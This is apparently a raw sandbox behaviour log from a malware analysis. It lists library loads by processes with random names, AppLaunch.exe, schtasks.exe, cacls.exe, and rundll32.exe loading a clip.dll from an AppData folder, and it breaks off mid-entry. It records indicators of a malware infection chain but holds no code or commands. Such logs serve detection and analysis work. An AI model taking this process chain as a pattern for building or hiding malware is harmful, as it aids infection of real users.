(UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter ucrtbase_clr0400.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter dwrite.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\274e43040c8a7a02ef1065db3283005a\System.Runtime.Serialization. (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.IdentityModel\c2ef5bc545b98a289f02d0b3eddbe280\System.IdentityModel.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\dc67dcb4b2fb4a3853d458cab08561f0\SMDiagnostics.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Intern (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\e114780fd3ea5727401c06ea4f22ef35\System.Management.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Security\93d03eb9812405fa70e89d4efd5f7e14\System.Security.ni.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Mozilla Firefox\firefox.exe (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\iexplore.exe (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\VCRUNTIME140_CLR0400.dll (UID: 00000000-00002148) "4EM873Jt.exe" called "LoadLibrary" with a parameter VCRUNTIME140_CLR0400.dll (UID: 00000000-00002148) "5tc7lo6.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002952) "5tc7lo6.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002952) "5tc7lo6.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002952) "5tc7lo6.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002952) "5tc7lo6.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00002952) "AppLaunch.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002572) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00002572) "6Hy9qE9.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\shdocvw.dll (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00003728) "6Hy9qE9.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00003728) "explothe.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00001756) "explothe.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00001756) "schtasks.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002828) "schtasks.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002828) "schtasks.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002828) "7GY0fl42.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004060) "7GY0fl42.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004060) "7GY0fl42.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004060) "7GY0fl42.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004060) "7GY0fl42.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004060) "cacls.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00003664) "cacls.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\IMM32.DLL (UID: 00000000-00003664) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003664) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003664) "cacls.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003664) "cacls.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003664) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002636) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002636) "rundll32.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002636) "rundll32.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002636) "rundll32.exe" called "LoadLibrary" with a parameter %APPDATA%\006700e5a2ab05\clip.dll (UID: 00000000-00002636) "rundll32.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002636) "rundll32.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00002636) "cacls.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00000360) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter ucrtbase_clr0400.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter dwrite.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\274e43040c8a7a02ef1065db3283005a\System.Runtime.Serialization. (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\dc67dcb4b2fb4a3853d458cab08561f0\SMDiagnostics.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Intern (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\e114780fd3ea5727401c06ea4f22ef35\System.Management.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Security\93d03eb9812405fa70e89d4efd5f7e14\System.Security.ni.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Mozilla Firefox\firefox.exe (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\iexplore.exe (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\VCRUNTIME140_CLR0400.dll (UID: 00000000-00000784) "AppLaunch.exe" called "LoadLibrary" with a parameter VCRUNTIME140_CLR0400.dll (UID: 00000000-00000784) "8Am5oO69.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter %TEMP%\IXP000.TMP\8Am5oO69.exe (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter Kernel32.DLL (UID: 00000000-00002072) "8Am5oO69.exe" called "LoadLibrary" with a parameter 